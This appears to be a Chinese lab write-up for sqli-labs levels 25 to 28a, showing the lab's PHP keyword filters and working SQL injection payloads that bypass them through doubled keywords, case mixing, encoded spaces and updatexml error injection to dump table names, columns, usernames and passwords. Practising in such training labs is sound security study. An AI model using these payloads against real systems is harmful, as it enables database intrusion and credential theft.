sqli-labs lexx25-28a(各种过滤)
less-25AND OR 过滤
less-25a基于Bool_GET_过滤AND/OR_数字型_盲注
less-26过滤了注释和空格的注入
less-26a过滤了空格和注释的盲注
less-27过滤了union和select的
less-27a过滤了union和select的盲注
less-28有括号的单引号字符型,过滤了union和select等的注入
less-28a有括号的单引号字符型,过滤了union和select等的注入盲注
less-25
过程:
先看页面返回信息
单引号闭合
查询字段个数时出现问题
order by结果报错就只剩下了der by,题目上显示or and and belong to us说明输入的or和and过滤掉了。 可以尝试双写绕过
- or->oror
- and-> anandd
源码:
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
这里将id中的or和and都转化为空
之后
- ?id=1' oorrder by 4 --+得字段为3.
- ?id=' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema="security"),3 --+ 爆表
- ?id= ' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema="security" aandnd table_name="users"),3 --+ 爆字段
- ?id= ' union select 1,(select concat(username, passwoorrd) from users limit 0,1),3 --+ 爆值
less-25a
less-26
先看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
这是一个黑名单,把能用到的常见的全都过滤了
我试着输入这些
?id=%231 //过滤了#
?id=or1 //过滤了or
?id=/*1 //过滤了多行注释
?id=--1 //过滤了单行注释
?id=/1 //过滤了斜杠
?id=1' ' ' //过滤了空格
?id=\ //过滤了反斜杠
py下大佬,给了四种注入方式
一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入与extractvalue()注入,因其他方法仍不能避开空格的使用。
三:基于 Bool 盲注,构造注入语句避开空格。
四:基于 延时盲注,构造注入语句避开空格。
第一种
url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&
less-26a
less-27
源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
黑名单里的东西更多
在黑名单中,发现没有过滤大小写的语句。题目就仅仅只会过滤select,SELECT,Select,而当我们输入一个SelEcT的时候,就不会过滤
/m是多行匹配,/s是空白符匹配
过程:
使用url编码 注释符被过滤可以用;%00 select查询时使用()代替空格做分割
- ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(table_name)) from(information_schema.tables)where(table_schema="security"))),1);%00
- ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(column_name)) from(information_schema.columns)where(table_name="users"%26%26table_schema="security"))),1);%00
- ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(password)) from(users))),1);%00
less-27a
盲注
less-28
less-28a
题目的界面上说不能使用union和select
但是我们可以想办法绕过
源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
过滤了/*,--,#,空格,以及不区分大小写的union+select
过程:
空格用%a0代替(在某不知名大佬那里了解到新的绕过空格姿势 /%0a/ )
大小写绕过
- ?id=0%27)%a0uNion%a0sElect(1),(database()),(%273
sqli-labs lexx25-28a(各种过滤)的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- 协程实现爬虫的例子主要优势在于充分利用IO时间去请求其他的url
# 分别使用urlopen和requests两个模块进行演示 # import requests # 需要安装的 # from urllib.request import urlopen # # ur ...
- kali 系列学习05 - Nessus 安装及配置
Nessus 安装 1.https://www.tenable.com/products/nessus/select-your-operating-system 点此下载nessus选择适合自己 ...
- kali 系列学习04 - 漏洞扫描
一.比较三类漏洞扫描工具 1.Rapid7 Nexpose 适合较大网络 2.Nessus 更经济,可以申请个人版,搞之后硬盘占用达到20G 以上2个是商业软件,使用容易上手,输入IP地址就能完成所有 ...
- ctf-misc-图片隐写术套路总结
1.直接右键notepad打开,搜索flag,如果图片很多的话,可以写py脚本也 可以打开后搜索全部打开文件 2.是一个压缩包,改了后缀 3.图片中藏了一个二维码,用Stegsolve加几次滤镜 ...
- pip install 一个本地包时提示error: Microsoft Visual C++ 14.0 is required.
错误如下: error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Too ...
- ABBYY FineReader文档对比实例讲解
ABBYY FineReader企业版与标准版有一个重大的区别,就是企业版有对比文档的功能,今天通过下面的文档对比实例,来向大家展示一下OCR文字识别工具ABBYY FineReader的使用技巧. ...
- MySQL开发篇(未完待续)
一.索引 什么是索引? 索引是帮助Mysql提高获取数据的数据结构,换一句话讲就是"排好序的快速查找的数据结构". 1.索引的分类 MySQL主要的几种索引类型:1.普通索引.2. ...
- Thread.start() ,它是怎么让线程启动的呢?
作者:小傅哥 博客:https://bugstack.cn Github:https://github.com/fuzhengwei/CodeGuide/wiki 沉淀.分享.成长,让自己和他人都能有 ...
- Linux中进程杀掉总是自动重启
<1> cat /proc/进程id/status 找到该子进程对应的父进程,将其父进
- Java蓝桥杯——排列组合
排列组合介绍 排列,就是指从给定n个数的元素中取出指定m个数的元素,进行排序. 组合,则是指从给定n个数的元素中仅仅取出指定m个数的元素,不考虑排序. 全排列(permutation) 以数字为例,全 ...